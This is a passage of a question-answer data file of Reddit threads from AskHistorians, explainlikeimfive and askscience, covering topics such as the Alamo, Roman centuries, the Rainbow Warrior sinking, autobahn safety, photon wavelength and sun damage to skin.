soldiers (rising to more than 1,500 once reserves were thrown in) advanced on the Alamo from three directions in the predawn hours. They silenced the outposts beyond the walls, but seem to have given themselves away by a spontaneous cheer. Despite that lapse, they were almost to the walls by the time the Texians could turn out to meet them. The Texians began firing their cannon blindly into the dark. Loaded with canister and grapeshot, they functioned as enormous shotguns, tearing great holes in Mexican ranks from point blank range. But though they could maul the oncoming columns, they could not stop them, and the Mexican soldiers broke through along several points, first in the north, then in the southwest, and the assault became a snake hunt, with onrushing Mexicans chasing broken Texians through the fort. Some Texians may have tried to break out from the Alamo and been cut down by the Mexican cavalry; a few may have been captured. But most died at the walls or in the terrified aftermath of their breaching. Mexican casualties are debatable, but somewhere between 400 and 600 is probably safe; the assault force was victorious, but thoroughly busted up. If anything, the Mexicans probably didn't soften up the defenses enough, but generals do not have an infinite amount of time available to them, and the result is that men bleed for it. Santa Anna literally could not afford a long campaign; the government had gone extensively into debt to finance this effort at reconquest and it had to be done quick and on the cheap.\n\nThere's also a strategic reason for the Alamo dragging on as long as it did. Santa Anna may have been trying to lure Texian reinforcements to the Alamo so that they could be destroyed by his army while still on the march. Even if this was not his intention, he was certainly aware of the possibility, and took measures to counter any such relief attempt."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i0.wp.com/www.latinamericanstudies.org/maps/alamo-map-3.gif"]]}
{"q_id": "2mdb9l", "title": "Why is a century of a Roman legion 80men when century means 100?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2mdb9l/why_is_a_century_of_a_roman_legion_80men_when/", "answers": {"a_id": ["cm38znd"], "score": [20], "text": ["Originally, a centuria consisted of 100 men, just as the name implies. But they were not really a military unit yet, that was the \"maniple\" (manipulus in Latin, meaning \"a hand full\"). The maniple originally had 100 men in it (and was thus the same as a centuria), but due to the different equipment and abundance of troops in the main line, they effectively had different strenghts: the front line units (hastati, the lightly equipped, younger/inexperienced soldiers) were often as many as 160 in a maniple, the princeps in the second line numbered mostly around 120 men per maniple, while the triarii (the heavily equipped veterans in the backline) would many times only be 60 or so in a maniple. \n\nFrom roughly the 2nd century BC on, the maniples were divided into two centuries - this was a matter of command, as the centuries were each commanded by a centurion, with the more experienced centurion being in charge of the whole maniple. With the base number of 160 hastati per maniple, we arrive at the 80 men per centuria. \n\nWith the Marian reforms and the abolishment of hastati, princeps and triarii, the base number of 80 men per centuria became the baseline for the whole legion, with the men now being composed of 10 contubernia (\"tent communities\") of 8 men each. This is comparable to a modern \"squad\" of soldiers. The maniples were now part of a cohort (which was made up of three maniples/six centuries) and ten cohorts made up a legion. 160 men per maniple gave you around 450 men in a cohort or 4500 men in a legion - the middleground of the planned strength of 3000-6000 legionnaires per legion.\n\nKeep in mind though that these are solely \"plan numbers\" and were most likely never actually reached in the field. \n\nSource:\n\nDNP (Der Neue Pauly), a German standard lexicon for antique history."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1l0qzh", "title": "How did France \"get away with\" sinking Rainbow Warrior?", "selftext": "After watching a documentary on the 1985 bombing of the Greenpeace ship, there are a couple of things surrounding the incident that puzzles me.\n\nFirst and foremost, can it be classified as an act of war to sink and (accidently) assassinate a person on foreign soil without permission?\n\nAnd was France really able to bully New Zealand into an agreement? The Wiki article on the incident (_URL_0_) states, that \"France threatened an economic embargo of New Zealand's exports ... Such an action would have crippled the New Zealand economy, which was dependent on agricultural exports to Britain.\"\n\nDoesn't this require the acceptance of other European countries, and where these willing to support France\u2019s threat during the incident?\n\nThe Wiki article also states, that \"The failure of Western leaders to condemn this violation of a friendly nation's sovereignty caused a great deal of change in New Zealand's foreign and defence policy...\"\n\nWas this true, that Western leaders didn't really condemn the French covert operation, and why wasn't there greater outrage from other governments? (I imagine there was plenty of outrage from NGOs and protest movements, and of cause Greenpeace, but I'm particularly interested in the apparent lack of reaction from other governments).", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1l0qzh/how_did_france_get_away_with_sinking_rainbow/", "answers": {"a_id": ["cbupqhv", "cbus1h9", "cbux1zk"], "score": [66, 340, 4], "text": ["Not a Historian but a New Zealand Political Science major, and I'll try address what I can: \n\n >  First and foremost, can it be classified as an act of war to sink and (accidently) assassinate a person on foreign soil without permission?\n\nYes. Even if the person hadn't have died, the act of aggression in New Zealand Waters by the French govt can be classified as an 'act of war'.\n\n > \"The failure of Western leaders to condemn this violation of a friendly nation's sovereignty caused a great deal of change in New Zealand's foreign and defence policy...\"\n\nThis is a difficult topic to be so conclusive on as New Zealand had already begun a process of changes to it's foreign policy around the nuclear-free issue.\n\n", "Alas, there are a few pieces that need to come together for this particular story to make sense, so bear with me for a while, okay? \n\nFirstly, it must be understood that the sinking of the Rainbow Warrior was an exceptionally complicated political event. In order - the boat was owned by Greenpeace, Flagged in Britain, and sunk by the French in New Zealand. Technically, under customary international law, this was probably an act of war on Britain and almost certainly one against New Zealand.\n\nHere is where the thing gets complicated. LOAC - the Law of Armed Conflict - allows for six circumstances precluding the wrongfulness of conduct that would otherwise not be in conformity with the international obligations of the State concerned. \"Precluding wrongfulness\" means that they have a defence against an otherwise well-founded claim for the \nbreach of an international obligation. [((Paraphrased from Book 25 of the UN Legislative Commentary))](_URL_0_) So the French could argue that they weren't breaching international law, but - and this is kinda important \"a distinction must be drawn between the effect of circumstances precluding wrongfulness and the termination of the obligation itself\" (Ibid.) In other words, the French declaimed all wrongfulness because of the context of their actions (blowing up a boat promising to commit \"illegal acts\" etc) but they couldn't get away from the fact they had done something, and that something was *pretty bad*.\n\nWhat ended up happening was that the New Zealand Police took over the case as one of murder. The two primary agents were almost immediately arrested (although several others got away.) The agents were famously incompetent - \" The group of French secret service divers on board the yacht Ouvea, who laid the limpet mines that blew up the Warrior, escaped, scuttled their craft in the Pacific, and returned to Paris. But they too left a trail of evidence -- buying diving aquatic gear, going to restaurants, and signing into motels -- which was so obvious that the police at first thought it was a frame-up.\" ((The Sinking of the Rainbow Warrior: Responses to an International Act of Terrorism.\u2019 Janet Wilson. JPCS Vol. 1 No. 1 Jan 2010))\n\nAs for being bullied - yes, absolutely the French government bullied the New Zealand one. The French threatened New Zealand's European imports flowing over French docks or through French territory, and New Zealand reacted by going to the UN for arbitration. The cold war was still ongoing, and European nations settled for \"strong international condemnation\" rather than actively interfering in a major ally's struggles with a minor, far-off, militarily insignificant nation.\n\nThe deal struck was the two agents would plead guilty to manslaughter (accidental killing) and be allowed to serve their three-year joke prison sentence in a French jail on a military base in Hao Atoll. New Zealand would be given a sum of money -$13 million dollars - as an apology. The female agent became pregnant almost immediately and was repatriated back to France within six months, the bloke spent less than two years there before complaining about his tummy and being sent back to France. New Zealand complained, but despite these being upheld, the two were never sent back to the island.\n\nAs for the final point, well, yes. It most probably did contribute to the swift uptake of the Treaty of Raratonga (the Nuclear-Free South Pacific Treaty), along with a souring of relations \"away from the major powers, including Britain where reactions to the affair were diluted, and the USA, where support of the French sabotage was blatant\". (Ibid) It is hardly the only thing, but the New Zealand governments of the time were quite outraged at the poor treatment they received at the hands of their allies. \n\nIt is an amazing story in history though - some people claim it as the only time a developed western country has committed an act of terrorism against another, although I would be skeptical about that. Probably the most high-profile time, at least.", " >  can it be classified as an act of war to sink\n\nYes. It can be classified as an act of war for a foreign government to *attack* a vessel in foreign harbor. The definition of \"act of war\" can be arbitrarily broad and/or narrow, depending on how a relevant government wants to interpret the action.\n\nIn this case, France (who directed the agents who carried out the attack) said it was an intelligence action, the UK (who flagged the ship) didn't say anything, New Zealand (who owned the water the action happened in) said it was a common criminal matter, the US (who had nothing to do with it but gets blamed for everything anyway) claimed it had nothing to do with anything.\n\n(I only bring up the US because the wikipedia article on the sinking claims that cooling relations between NZ and the US are a direct result of the attack)\n\n >  (accidently) assassinate\n\nBy definition, you can't accidentally [assassinate](_URL_0_) someone. Assassination would imply (A) that they targeted the individual specifically; (B) they were attempting to kill him for a political objective; (C) he was a prominent political figure. It could be (rightly) argued that the objective was political, but the agents were not attempting to kill anyone, and were certainly not *targeting* the guy who died. And he was certainly not a prominent political figure.\n\nIt wasn't even murder. Wikipedia says two of the involved agents were charged with manslaughter. IMHO, (IANAL) this was the charge to fit the crime.\n\n >  And was France really able to bully New Zealand into an agreement? The Wiki article on the incident (_URL_1_) states, that \"France threatened an economic embargo of New Zealand's exports ... Such an action would have crippled the New Zealand economy, which was dependent on agricultural exports to Britain.\"\n\nThe source wikipedia is linking to doesn't actually back up that claim. The possibility certainly exists that France attempted to embargo New Zealand, but I can't find a source for it.\n\n >  Was this true, that Western leaders didn't really condemn the French covert operation, and why wasn't there greater outrage from other governments?\n\nIt was true that no government besides New Zealand really stood up and did anything. No one cared. Greenpeace has very, *very* little political capital. New Zealand was involved because it happened in their back yard; if it happened anywhere else nothing would have happened.\n\nWhich is ultimately the answer to your question; France got away with it because nobody particularly likes Greenpeace and/or wants to stand up for them.\n\n\\* Quick note on \"got away with\". Both you and I are operating under the assumption that the tens of millions of dollars in fines the French government paid, and the international tribunal they were subject to was a slap on the wrist. They \"got away with it\" in the sense that the punishment was not enough to significantly alter the political landscape. But they didn't \"get away with it\" in the sense that no punishment happened. The international tribunal was more of a \"...well we've got to do *something*\" than it was \"We've got to punish France for the wrongs that they caused.\" The tribunal happened, but nobody was really out for blood; they were just trying to prove that they really cared about the little guy."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Sinking_of_the_Rainbow_Warrior"], "answers_urls": [[], ["http://untreaty.un.org/cod/legislativeseries/documents/Book25/Book25_part1_ch5.pdf"], ["https://en.wikipedia.org/wiki/Assassination", "http://en.wikipedia.org/wiki/Sinking_of_the_Rainbow_Warrior"]]}
{"q_id": "31hed3", "title": "Did Scandinavians wear hammer shaped necklaces during the christianization of Scandinavia?", "selftext": "Like the title says, I seem to recall reading somewhere (Wikipedia) that during the christianization of Scandinavia, many of the defiant norfolk wore hammer shaped pendants which were symbolic of Thor's Hammer. How much of this is true? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31hed3/did_scandinavians_wear_hammer_shaped_necklaces/", "answers": {"a_id": ["cq1xheo", "cq59yi6"], "score": [5, 2], "text": ["It has been thought that they did but nothing was proven from an historical document perspective that they did. Recently, however, Mjolnir necklaces have been found that have been dated to that era, showing that they did at least exist and were worn, but that does not prove how abundant or common they were. When I find some of the sources regarding the artefact finds I will edit this post with the links.", "I forgot to go back and find sources for you (per my previous post) but I just noticed this article, which may help a bit (translated into english for you):\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://translate.google.no/translate?sl=no&amp;tl=en&amp;js=y&amp;prev=_t&amp;hl=no&amp;ie=UTF-8&amp;u=http%3A%2F%2Fwww.adressa.no%2Fnyheter%2Fnordtrondelag%2Farticle10827841.ece&amp;edit-text="]]}
{"q_id": "o8jpg", "title": "why is there a distinction between the sounds of voices in humans (females have higher tone, males lower) but not in other animals, like dogs.", "selftext": "Also, what animals (if any) have distinction between their voices for male and female.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/o8jpg/why_is_there_a_distinction_between_the_sounds_of/", "answers": {"a_id": ["c3f8z3u", "c3f92or", "c3f997t", "c3f99zg", "c3f9a8m", "c3f9mx0", "c3fa5z4", "c3faqve", "c3fb6fu", "c3fb7s9", "c3fc049", "c3fcaih", "c3fe7vk"], "score": [23, 32, 19, 144, 200, 17, 5, 2, 2, 3, 4, 15, 2], "text": ["When my dogs talk to me, I usually don't pay attention to the difference in their tones. ", "what do you base this question on? where did you get the info that dogs tones don't differ to other dogs?", "I think they do we just can't tell", "They do differ between the sexes in the animal kingdom. It is often too subtle for our feeble under-powered human senses to detect. Many animals such as song birds or toads have very distinct differences.", "Let's say you have two dogs.  They are brother and sister.  When they were puppies their voices were pretty high pitched because they had small throats.  As they got older their throats started to get bigger so their voices got deeper.  Now the brother, let's call him Spot, has a special part of his body that makes chemicals that would normally make his voice get even deeper than his sister's as he gets older.  Unfortunately this body part also makes Spot angry and causes him to hump your mother's leg.  Because of this your parents cut that part of him off when he was a puppy.  Because that part of Spot is no longer there to make those chemicals his voice ends up developing the same way as his sister's and so they sound the same.", "In general, men [have longer vocal folds](_URL_0_) than women do.  When the vocal folds vibrate, they create the basic pitch of the human voice.  The longer the fold, the lower the pitch (similar to the way cello strings produce a lower sound than violin strings).\n\nI am a (human) linguist, so unfortunately I can't say anything about dogs.", "There is, you just don't hear it. I could quite easily tell if it's my dog barking when I used to take her to the dog school when she was a puppy.", "Has anyone ever connected the origins of animal eye colors with human eye colors? I'm thinking it could tie into evolution somewhat.", "i thought my male cat jinx was weird for having a higher pitch in his meow. the other male cats ive had have had a lower pitch.", "humans are about the only animal that regularly attempts to kill things many times larger than itself. A descended larynx causes an adult male human to sound 2 to 3 times larger than he actually is. Thus, when hunting, the human can bellow at the animal and it will actually move. -from The Naked Ape, i think.", "Great Horned Owls can actually be identified by gender based on the pitch of their calls. Females have a lower tone than males, but females are also larger. ", "There is. Not only that, but animals have regional accents. ", "They do, however you can't tell because you don't know dog speak"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Vocal_folds#Sex_differences"], [], [], [], [], [], [], []]}
{"q_id": "55n66y", "title": "why are indefinitely high speeds allowed on the autobahn? how can the freeway design account for such high speeds (in terms of safety)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/55n66y/eli5_why_are_indefinitely_high_speeds_allowed_on/", "answers": {"a_id": ["d8bz20s", "d8bzid3", "d8bzqcb", "d8c7wwn", "d8cdf3p", "d8clpdp", "d8cq711"], "score": [11, 31, 8, 11, 5, 2, 3], "text": ["Arguably, it's not the freeway system that makes the speeds safe. It's the much more stringent driver's education in Germany, and harsh penalties for disobeying traffic laws.\n\nEdit: but to answer as to why their highways are safer: The biggest reasons are there roads are much thicker than ours (27\" of concrete vs. 11\" in the US interstate system), making less potholes and longer lifespan. Additionally, any road damage that does occur is quickly repaired as to prevent road hazard accidents.", "German driving tests are hard and the minimum age is 18. \nStrickt car checkups every 2 years.\nGood condition of the roads.\n\nSo you have better drivers, cars and roads. \nDon't be fooled though, not everywhere you can drive as fast as you want. Crowded parts of autobahn near the urban are usually limited. \nThe recommended speed is 130 KM/h on the places where there is no limit.\n\n\n\n\n", "Germans can drive, have a high sense of personal responsibility and are less likely to drive litre an asshole, the roads are built well and excellently maintained, and infractions are dealt with harshly.", "Compare the accident rates of the following:\n\nGermany \t\n4.3 deaths per 100,000 people\n\n6.8 deaths per 100,000 cars\n\n4.9 deaths per 1000,000,000km driven\n\n3540 deaths in 2013\n\n\n\nUnited Kingdom\n\n2.9 deaths per 100,000 people\n\n5.1 deaths per 100,000 cars\n\n3.6 deaths per 1000,000,000km driven\n\n1827 deaths in 2013\n\n\n\nUnited States \t\n\n10.6 deaths per 100,000 people\n\n12.9 deaths per 100,000 cars\n\n7.1 deaths per 1000,000,000km driven\n\n34,064 deaths in 2013\n\nHigh speeds are not the problem.\n", "A guy I saw on TV demonstrating Autobahn driving POV, and his comment was like \"At this speed, you don't reach for your cup holder.\"", "Most people believe that the entirety of the Autobahn is just do whatever the hell you want and go fast as hell. I've been to Germany and can tell you that there is a speed limit on a majority of it. It isn't just go fast as hell in your German super car and not care about the people around you. Most of the Autobahn has government regulated speed limits somewhere around 70-80 mph. About half of the highway has this regulated speed. At any given time, another quarter of the highway is regulated because of weather, construction, or other daily circumstances. Generally the regulated sections are in populated areas and the unregulated sections are in unpopulated areas. \n\nEDIT- I do not have the largest knowledge of this subject but any constructive criticism is welcome.", "To add to the technical points listed by others, curves I've driven on have a slight lateral incline built into them, tilting with the curve to counter the centrifugal force of going into a curve at high speed. Don't know if that's everywhere though.\n\nAnother, very important point is a political one: every few years, a politician will propose introducing a general speed limit. Whoever the politician is, they will then be ritually slaughtered by the tabloid press. It seems a majority of Germans sees it as a severe limitation of their freedom by busybody politicians - a bit like ID cards in the UK or a tax hike in the US."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "2limxi", "title": "What causes corrosion on positive terminals?", "selftext": "In work, I am an apprentice electrical engineering and I was asked why this happened. I wasn't sure and asked my boss but the answer he gave was satisfactory. I also searched online but people also did not give answers of a decent level of detail. If someone could explain why is happens on the positive terminal and not the negative with chemical equations etc, it will be much appreciated. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2limxi/what_causes_corrosion_on_positive_terminals/", "answers": {"a_id": ["clvmeof"], "score": [2], "text": ["Quite probably due to redox half-reactions, although you'd have to describe the exact situation in more detail.\n\nBattery terminals are usually made of some sort of metal, let's assume copper. This metal can oxidize, forming salts like copper oxide, CuO. Copper oxides separate ions are Cu^2+ and O^2-.\n\nThe negative terminal can release electrons, binding Cu^2+ + 2e^- back into Cu. The positive terminal draws electrons instead, turning Cu into Cu^2+ + 2e^-. As such oxidation and corrosion are suppressed at the negative terminal, while they are promoted at the positive terminal.\n\nThis phenomenon can be used to prevent corrosion of important things like ship hulls. Putting another block of metal into the water next to the hull and connecting them via a battery causes the sacrificial block to corrode instead of the more critical part."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1d2sa9", "title": "When transplanting a heart to a patient of much lower cardiovascular fitness than the donor, could the blood vessels of the patient suffer?", "selftext": "When you exercise, your blood vessels change in size and strength to adapt to the new volume and pressure of the blood coming from your strong, efficient heart.\n\nBut what if an Olympic athlete had his heart removed and given to a man of average fitness?\n\nWould the heart keep trying to pump the way it always did? How would the reduced volume of blood affect the heart itself? And would the increased strength of the heart increase the blood pressure enough that the patient's blood vessels - being unused to such pressure - might be damaged?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1d2sa9/when_transplanting_a_heart_to_a_patient_of_much/", "answers": {"a_id": ["c9md19a", "c9mmvug", "c9moirc"], "score": [361, 8, 7], "text": ["Yes! absolutely but the foremost affected vessels are the [pulmonary arteries](_URL_0_). In fact there has been very interesting techniques used to allow the donor's heart to adapt to the pulmonary artery resistance, ECMO pre [[1](_URL_1_)] or post [[2](_URL_3_)]-transplant or even heterotopic heart transplant [[3](_URL_2_)]\n\n[1] : _URL_1_\n\n[2] : _URL_3_\n\n[3] : _URL_2_\n\nedit: this is only necessary in situations where the transplant can't compensate for the receiver's vascular resistance; it's not even a common occurence to have to resort to such techniques; as doctorsquared as explained the transplant adapts it's cardiac output in normal situations.", "I know that many patients who get a lung transplant (both lungs, that is) very frequently get a heart transplant at the same time - for the reason that having screwed up lungs for a long time [such as with severe emphysema] tends to end up damaging and weakening the heart due to chronic oxygen deficit.\n\nSo, would it be a good practice to go ahead and replace the lungs as well when doing a heart transplant, if the recipient's lungs aren't in great shape, so that the new parts can work better together than with the damaged equipment the recipient has?\n\nI know the usual emphasis is on distributing as many organs to as many other people as possible to save as many lives as they can, but there's got to be an interest in keeping a donated heart alive in its new home for as long as possible...", "Basic physiology kicks in very quickly. Although a transplanted heart loses most of the input from the vagus nerve system for a while, the rest of physiology is intact. \n\nIf the cardiac index is \"too high\" for the body's needs, then the body compensates. Blood volume and total peripheral resistance adjust venous return to drop the cardiac index to normal levels. \n\nThe heart function (or strength) is very different from blood pressure. We see plenty of patients with poor heart function and very high blood pressure. Severe sudden hypertension can damage all kind of tissues, but this would not be suspected from receiving an athlete's heart. \n\nInterestingly enough, many transplant patients have early coronary artery disease from the chronic inflammation and rejection meds.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Pulmonary_hypertension", "http://err.ersjournals.com/content/20/122/297.full", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1769111/", "http://ats.ctsnetjournals.org/cgi/content/full/76/3/843"], [], []]}
{"q_id": "54vzux", "title": "When talking about photons, what does \"wavelength\" actually mean?", "selftext": "When I think of waves, I'm accustomed to thinking of s-waves and p-waves, but it occurs to me that neither of these make any sense in regards to photons that are supposed to travel in a perfectly straight line with a constant speed. Individual photons don't have fluctuations of energy that I know of, either. So where does the idea of a \"wavelength\" fit in? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/54vzux/when_talking_about_photons_what_does_wavelength/", "answers": {"a_id": ["d85dn2v", "d85egev", "d85nlga", "d85p7lb"], "score": [37, 10, 4, 5], "text": ["s- and p-waves in quantum mechanics refer to the orbital angular momentum (s means \u2113 = 0 and p means \u2113 = 1).\n\nPhotons can certainly carry orbital angular momentum, but that's not what wavelength is.\n\nFor *any* particle, the relationship between its wavelength and its *linear* momentum is:\n\n\u03bb = h/p, where h is Planck's constant.\n\nFor a particle with no mass, like a photon, E = pc.\n\nSo \u03bb = hc/E. The wavelength is inversely proportional to the energy.", "One way of motivating photons is introducing a finite quantization volume with boundary conditions (for example you can require that the field needs to be zero at the boundary). The solution of a finite volume with are 'modes' aka standing waves with discrete wavelengths. Photons are then portions of energy we can distribute onto these modes. The wavelength of a photon is the wavelength of the mode that you put it in.\n\nNow since it is quantum mechanics a photon can be distributed over several modes at the same time. Not in the way that it is splitted of into several parts - the whole point of the photon is that you cannot do that, but in the sense that there is a probability to find in it in one of several modes upon measurement.\n\nTherefore like a classical light pulse a photon has in general a wavelength distribution with a certain width and the its wavelength is not really sharply defined before you actually measure it.", "Suppose you have a laser, and you send it's beam through the usual two-slit and screen experimental apparatus. The spacing of the fringes appearing on the screen is related to the wavelength of the laser output by\n\ntheta ~= lambda / d\n\nwhere theta is the angular spacing of the fringes, d is the spacing of the slits, and lambda is the laser output wavelength.\n\nThis happens even if you use an attenuator to reduce output power of the laser to the point where only one photon at a time is passing through the slits. Demonstrating that the photons \"travel\" according to the same rules as the classical light wave, with the same wavelength we'd associate with the light wave in the classical model.", "Electric and magnetic fields are vector fields, i.e. at each point in space (and time) you have a direction and magnitude. So you can have a perfectly straight line along which the value of the electric field is a sine fluctuating vertically and the value of the magnetic field is a cosine fluctuating horizontally, for example.\n\nWhen someone tries to depict that, they usually show that stuff as displacement vectors originating from that line, but that's just a depiction, there's no actual displacement in space, it refers to the value of the EM field in points lying exactly on that line.\n\nAnd even when we are talking about individual photons, they are not points, but actually rather large disturbances in EM field (forget about quantum mechanics for the moment) -- for example, it takes 1.6 nanoseconds for an electron in a hydrogen atom to transition from the first excited state to the ground state, so the emitted near-ultraviolet photon is about half a meter long (which is 4 million times longer than its wavelength by the way, and also keep in mind that it's a median length of a bell-shaped amplitude curve, it doesn't have sharply defined ends)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1r4nn0", "title": "how do taxes in the european union work?", "selftext": "I understand that the European Union posses a common market (no internal tariffs or barriers), but I'm a bit fuzzy on general taxes. Is there one agreed upon external tariff policy for members nations or does each country establish a tariff within a similar amount to each other? Does each country have its own value added tax? What about income tax?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1r4nn0/eli5_how_do_taxes_in_the_european_union_work/", "answers": {"a_id": ["cdjjhzp"], "score": [2], "text": ["The countries are taxed, it is up to the country to tax the people. How they do that is up to the countries themselves. The people have no direct relation to the EU."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "gvhlh", "title": "At what point (if any) would a piece of technology be considered conscious? ", "selftext": "Just curious.  At what level of technological sophistication would we be able to classify a piece of technology as conscious or self-aware?  It would have to think for itself i'm sure, but what about emotions?  Senses? etc.\n\nAlso, if this is plausible, what would the timeframe be before we had such a piece of technology in our grasp?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gvhlh/at_what_point_if_any_would_a_piece_of_technology/", "answers": {"a_id": ["c1qkkx3", "c1qkrz8", "c1qkuz5", "c1qkxev", "c1qldlh"], "score": [2, 2, 16, 17, 2], "text": ["Ah, you should read this piece of story by Flossdaily :)\n\n_URL_0_", "\nThis can be interpreted as more of a philosophical question, and I'll answer it as such below. Also, some commentators in the Philosophy of Science subreddit are intimately familiar with these issues, if you're interested in continuing the conversation over there. \n\nThere's significant debate in the philosophy of mind as to (1) whether creating artificial consciousness is possible and (2) what the standards for conscious, sentient, or intelligent beings should be, and (3) how to determine whether the studied entity actual has the necessary characteristics for consciousness. Here's a large resource on the subject: [Philosophy of Consciousness](_URL_0_)\n\nPersonally, I'm unconvinced there's any in-principle reason preventing the creation of artificial consciousness. But it's certainly a hell of an engineering problem. ", "Ooh!  Ooh!  This is actually my thing!\n\nAnd the answer is that self-awareness and thought is not as cool as you think.  My pacman-playing AI has a crude model of itself that one could call \"self-awareness\".\n\nBasically, we already have this and it's not that cool.\n\nDamn it, questions that are my thing are depressing.", "This is a philosophical question. It's fun to discuss, but people can't even agree that machines *can* have emotions or be conscious (by definition), let alone when it will happen. \n\nSenses - machines already have those via sensors.  ", "Something I have always wondered about is, and what really addresses this problem, is at what point is a species considered conscious? \n\nNow you have to considered what constitutes consciousness, is it self awareness (humans, chimps, dolphins, magpies, etc), maybe just situational awareness (pretty much everything down to insects), the ability to communicate, or draw on memories? Or does consciousness even exist, is it such a powerful illusion that we refuse to believe that there really isn't a me, but just a symptom of a huge clump of nerve cells? Do people who suffer brain damage/disease or those who had a procedure such as a lobotomy less conscious? Are we so arrogant as to believe that only a human mind can be conscious, and that there can only be one type of consciousness?\n\nI'm willing to wager that the human race is in for some real shockers as neuroscience advances."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskReddit/comments/aktp5/hey_reddit_how_do_you_think_the_human_race_will/"], ["http://philpapers.org/browse/philosophy-of-consciousness"], [], [], []]}
{"q_id": "ixvh9", "title": "Is sun damage to skin linear, exponential or some other polynomial?", "selftext": "That's an odd question, so let me set up the experiment:\n\n* 4 (balanced, of course) groups.\n\n* No group is allowed to have sun screen\n\n* Take a baseline measure of everyone *prior* to sun exposure (I don't know what this would be, but a simple controlled-lighting image would work)\n\n* Between the hours of 2:00pm and 3:00pm on a clear day in an open setting (i.e., no shade around; I suppose a tanning bed is an acceptable, and more controllable replacement?)\n\n* Group 1: Go outside in the sun for 30 minutes; go back inside for 30 minutes.\n\n* Group 2: Stay inside for 30 minutes; go outside for 30 minutes.\n\n* Group 3: Alternate going outside, then inside, every 10 minutes for 60 minutes.\n\n* Group 4: Alternate staying inside, then going outside, every 10 minutes for 60 minutes.\n\n\nNow, you can see some redundancy in the groups, but this is to control exposure with respect to time of day (I'd probably have 2 more groups, no sun exposure and 60 minutes sun exposure). \n\nWill all of my 4 groups have the same amount of skin color change/damage due to sun exposure (i.e., sun exposure is linear and accumulative) or will my 30 direct minute groups have more exposure than my alternating groups (implying sun damage is not linear; hopefully not a big exponential, but that there is a \"dip\" in the damage function with shade).\n\nThe change would be compared to baseline *per individual* first, then get group means. I assume \"change\" values could be calculated (if you take pictures) by doing a simple image contrast change in the controlled-lighting settings.  A simple S(A x B) ANOVA should suffice. Or for fancy-pantsness: a PCA-based discriminant analysis on the subtracted images.\n\nBasically, for people who enjoy sunbathing (I don't, I'm translucent), is it *safer* for them to do it in one shot or to alternate their exposure and shade?\n\nAnd this is just strictly in an acute sense, not an accumulation over years or anything.\n\nAlso, if this hasn't been done, and some tries this I get to be second author. I'll do the stats.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ixvh9/is_sun_damage_to_skin_linear_exponential_or_some/", "answers": {"a_id": ["c27jkdx", "c27k41e", "c27k8sq"], "score": [5, 2, 3], "text": ["This is not my field of expertise, so I'll keep my comment brief.  \n\nConsider 2 groups.  Group A gets 3 minutes of exposure to the Sun each day for 100 days consecutively.  Group B gets no exposure to the Sun for 99 days, then is exposed for 300 consecutive minutes on the 100th day.  \n\nClearly, it's not entirely linear.  The body obviously has some healing ability that can, given time, counteract damage done to it.  ", "Briefly, I think the experimental design could be much improved upon.  I do not like the idea of measurement of individual change compared to baseline of a set of images taken under stereotyped lighting conditions.  I would imagine this would greatly decrease your power by introducing high levels of bewteen-individual variation which would overshadow the between-group variation.\n\nThe changes from tanning are also delayed, taking place over the course of several days.  You would need to keep people inside for 72 hours essential to control for any other possible sun exposure over that time frame.  Plus, what you care about is how much damage was done--thinking about relevance to cancer--rather than trying to look at how people subsequently tan.  The markers of cellular damage occurs on a much shorter time frame and would be a more suitable marker to follow. \n\nI would probably do something with UV exposure to cells in a dish as some in vitro proof of concept preliminary result and do in vivo verification through immunostaining UV exposed rat skin tissue for celular damage or something.     ", "Knowing what happens to the DNA, I would say that it's a linear response.  UV damages the DNA in a time-dependent manner, and the more time you're exposed to UV, the more damage is created (and I can't think of any reason why this would be exponential).  The UVB photons cause adjacent thymidines to fuse into thymine dimers, and the longer you're exposed to UV, the more this can happen.  Following DNA damage by UV, two things happen: some of the damage is repaired by the nucleotide excision DNA repair pathway, and the damage also causes an increase in melanin accumulation (tanning).  I think 30 minutes in the sun is 30 minutes in the sun, regardless of how you slice it (but of course, dependent upon time of day, location, etc.).  I'm not sure if this is what you were looking for, but I hope it helps.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
